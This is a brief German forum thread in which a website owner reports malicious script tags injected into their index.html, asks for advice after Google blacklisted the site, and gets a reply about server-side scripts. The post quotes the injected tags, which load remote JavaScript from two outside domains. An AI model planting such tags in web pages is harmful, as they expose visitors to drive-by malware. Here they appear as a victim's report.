Gefährliche Malware eingeschleust

Kaum sind die Spam-Bot Attacken auf PF einigermaßen wieder in Griff, wird meine HP zugemüllt. Wie? keine Ahnung. Jedenfalls steht in der index.html dann so ein Müll drinnen: ** --1eaf92 ** ** script type= text/javascript src= h**p://www.cartellinapoletani.com/chatme/traf.php?id=15291064 script ** ** 1eaf92 ** ** --7c1624 ** ** script type= text/javascript src= h**p://lifephotoblogs.com/wp-admin/clicker.php?id=15291066 script ** ** 7c1624 ** Die ursprüngliche Datei ist aber größer als jene die übrig bleibt, wenn ich den Müll rauslösche. Mit dem Spam sind sie aber nicht gleich groß. Binnen einen Tag stand die Seite auf der Blacklist bei Google. Als ersten Schritt habe ich mal das ftp-Paßwort geändert. Sonst noch Tipps? Gruß femi

irgendwelche php-skripte die auf dem server laufen?
blogs, foren, gästebücher, ...

Nichts dergleichen, Laufband in Java-script mit den aktuellen Wetterdaten aber nicht von fremden Quellen. Der Server gehört lima-city. Was die anderen user da laufen haben kann ich natürlich nicht sagen.